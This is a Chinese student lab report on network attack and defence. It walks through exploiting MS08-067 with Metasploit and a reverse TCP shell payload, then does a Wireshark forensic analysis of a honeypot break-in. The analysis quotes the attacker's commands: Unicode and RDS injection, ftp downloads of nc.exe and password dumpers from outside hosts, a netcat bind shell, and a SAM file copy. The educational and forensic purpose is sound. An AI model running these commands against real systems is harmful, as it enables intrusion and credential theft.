1.实践内容
- 1.MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。
- 2.Metasploit是目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一。它彻底改变了我们执行安全测试的方式。Metasploit之所以流行,是因为它可以执行广泛的安全测试任务,从而简化渗透测试的工作。Kali Linux预装了 Metasploit 框架和运行在框架上的其他第三方工具。
- 框架和相关术语简介:
- Metasploit Framework:这是一个免费的、开源的渗透测试框架。
- Vulnerability:允许攻击者入侵或危害系统安全性的弱点称为漏洞,漏洞可能存在于操作系统,应用软件甚至网络协议中。
- Exploit:攻击代码或程序,它允许攻击者利用易受攻击的系统并危害其安全性。每个漏洞都有对应的漏洞利用程序。Metasploit有超过 1700 个漏洞利用程序。
- Payload:攻击载荷。它主要用于建立攻击者和受害者机器直接的连接,Metasploit有超过 500个有效攻击载荷。
- Module:模块是一个完整的构件,每个模块执行特定的任务,并通过几个模块组成一个单元运行。这种架构的好处是可以很容易的将自己写的利用程序和工具集成到框架中。
2.实践过程
任务一:动手实践Metasploit windows attacker
- 任务:使用Metasploit软件进行windows远程渗透统计实验
- 具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
任务一操作过程:
-
1.实验准备:
-
2.启动Metasploit软件:终端输入
msfconsole
命令即可进入msf的控制台(msf控制台集成了很多其他程序接口,例如nmap,sqlmap可以在msf控制台中使用)。 -
3.进行以下命令进行msf的相关设置
search ms08_067
命令查找ms08_067模块。根据打印的信息,可以得知针对ms08_067
漏洞的渗透攻击模块为exploit/windows/smb/ms08_067_netapi
。use exploit/windows/smb/ms08_067_netapi
,进入使用ms08_067
漏洞的渗透攻击模块。- 截图:进入
/windows/smb/ms08_067_netapi
模块。
show payload
,列举所有适用的负载模块,选择shell_reverse_tcp
。- 截图:列举负载模块。
set payload generic/shell_reverse_tcp
,选择该渗透攻击模块适用的攻击负载模块。- 截图:选择攻击负载模块为
shell_reverse_tcp
。
set LHOST 192.168.200.6
和set RHOST 192.168.200.124
来配置该渗透攻击模块和攻击负载模块的IP地址。- 输入
show options
,再次查看payload状态,检查配置是否成功。 - 截图:配置IP地址并查验。
search ms08_067 #查找ms08-067的漏洞利用模块。
set payload generic/shell_reverse_tcp #设置payload
use exploit/windows/smb/ms08_067_netapi #使用相关攻击脚本。
set payload generic/shell_everse_tcp #打开反向连接的载荷。
set LHOST 192.168.200.6和set RHOST 192.168.200.124 #进行表示攻击机IP地址和靶机IP地址设置;
-
3.进行攻击:使用
exploit
进行攻击,然后运行shell
指令来开启靶机的shell
,并用ipconfig
来查看shell是否正确执行。通过和靶机端对比,攻击成功。- 截图:进行攻击并查看是否成功。
- 截图:进行攻击并查看是否成功。
-
4.进行验证:在c盘下
mkdir msfconsole
新建msfconsole目录,然后通过dir
查询。回到靶机,在c盘下存在msfconsole文件夹。通过此操作,我们可以确信获得权限不低。
任务二:取证分析实践:解码一次成功的NT系统破解攻击。
-
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
- 攻击者使用了什么破解工具进行攻击
- 攻击者如何使用这个破解工具进入并控制了系统
- 攻击者获得系统访问权限后做了什么
- 我们如何防止这样的攻击
- 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
-
1.实验准备:
-
2.实验过程
-
2.1.
-
在应用显示过滤器里通过
ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106
筛选数据,发现攻击者一开始进行了HTTP访问。 -
截图:筛选数据。
-
通过编号117,可以发现攻击者打开了系统启动文件
boot.ini
,同时%C0%AF
为/
的Unicode编码,所以进行了Unicode编码攻击。 -
截图:编号117。
-
编号130和编号140中含有
msadc
,很明显,这是进行探测的过程。 -
截图:对应的130与140编号。
-
编号149,通过追踪
tcp
流,发现这是一个sql注入攻击,select * from customers where
表明这是数据库操作。执行的命令是cmd /c echo werd >> c:\fun
,所以确定这是一次基于MSADCS RDS
的漏洞攻击。 -
截图:编号149中tcp流。
-
发现
ADM!ROX!YOUR!WORLD
字符串出现的频率很高,发现这是一个名为msadc2.pl
工具发起的攻击。
-
-
2.2.
- 会话1780的TCP流,发现其指令为
cmd /c echo user johna2k > ftpcom
,继续查找,可以发现以下shell脚本指令。 - 截图:1780编号的TCP流。
shell ( “cmd /c echo hacker 2000 >> ftpcom” ) ;
shell ( “cmd /c echo get samdump .dll >> ftpcom” ) ;
shell ( “cmd /c echo get pdump .exe >> ftpcom” ) ;
shell ( “cmd /c echo get nc.exe>>ftpcom” ) |;
shell ( “cmd /c echo quit>>ftpcom” );
shell ( “cmd /c ftp – s : ftpcom- n www.nether.net” )
-
上述命令表示创建
ftpcom
脚本文件,并使用ftp
连接www.nether.net
,用户名为johna2k
,密码为hacker2000
,尝试下载samdump.dll,pdump.exe,nc.exe
,没有成功。 -
wireshark中搜索ftp,发现编号1106连接成功。
-
截图:1106的数据。
-
观察ftp成功连接之前攻击者发送的指令。可以发现这次的攻击不是RDS攻击,而是Unicode漏洞攻击。通过追踪TCP流,发现攻击者发送了以下指令:
copy C:\winnt\system32\cmd.exe cmd1.exe
c echo open 213.116.251.162 >ftpcom
c echo johna2k >>ftpcom
c echo haxedj00 >>ftpcom
c echo get nc.exe >>ftpcom
c echo get pdump.exe >>ftpcom
c echo get samdump.dll >>ftpcom
c echo quit >>ftpcom
-
在下载完文件之后,攻击者执行了这样一条命令:
cmd1.exe /c nc -l -p 6969 -e cmd1.exe
。表示攻击者连接了6969端口,并且获得了访问权限。至此,攻击者完成了进入系统并且获得访问权的过程。 -
截图:编号1233中找到上面的指令。
- 会话1780的TCP流,发现其指令为
-
2.3.
- 由于攻击者连接了6969端口,在Wireshark中输入
tcp.port == 6969
进行筛选,通过tcp流来查看攻击者的行为。 - 截图:要从注册表中提取密文,但没有成功;运行
net session
,访问受限,执行net users
,返回主机用户列表。
- 截图:
heh.tex
信息删除后,发了echo消息到C盘README.Now.Hax0r。
- 截图:通过
net group,net localgroup
分别查看组用户、本地组用户,并查看net group domain admins
,但都没有成功。
- 截图:确认IWAM/IUSR加入管理员组
- 截图:执行
rdisk
尝试获得SAM口令文件的拷贝,将SAM文件保存为c:\har.txt
文件。
- 由于攻击者连接了6969端口,在Wireshark中输入
-
2.4.可以做以下工作:
-
2.5 通过分析攻击者留下的信息,我们可以看到攻击者已经发现了
honeypot
。
任务三:团队对抗实践:windows系统远程渗透攻击和分析。
-
攻方使用Metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
-
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
-
操作过程:
-
攻击方:本人使用kali,其IP地址为192.168.200.6。使用漏洞:利用受害者主机默认开放的SMB服务端口445,发送特殊RPC。
- 截图:
- 截图:
-
在完成任务一(1)操作后,打开
Wireshark
开始监听,然后再进行exploit
攻击。分析监控得到的数据,我们可以看到源地址为192.168.200.6
,源端口为45585
;目标地址为192.168.200.10
,目标端口为445
;攻击发起是从ARP协议的询问开始。- 截图:源地址与目标地址。
- 攻击机向靶机发了许多SMB数据包。攻击利用的漏洞有:针对SMB网络服务的漏洞、DCERPC解析器拒绝服务漏洞、SPOOLSS打印服务假冒漏洞。
- 截图:SMB数据包。
- 截图:源地址与目标地址。
3.学习中遇到的问题及解决
-
问题1:没有设置payload,导致创建会话失败。
-
问题1解决方案:通过
set payload generic/shell_reverse_tcp
,之后就可以正常攻击靶机。 -
问题2:分析数据包时许多专业的概念不太清楚,操作不是很熟练。
-
问题2解决方案:通过请教同学,查阅资料,掌握了更多的技术。
4.实践总结
- 虽然成功的完成了作业,但是在操作过程中遇到了一些问题,诸如机子彼此间ping不通等,最后对完成的作业理解并不是很透彻,需要自己不断地在实践中增强自己的知识与阅历。
- 本次实验主要针对的是window的一些漏洞,通过kali替代攻击机进行攻击,需要了解window的漏洞和kali的强大。
- 通过本次实验,初步掌握了软件Metasploit的基本操作,学会了用Metasploit进行渗透攻击。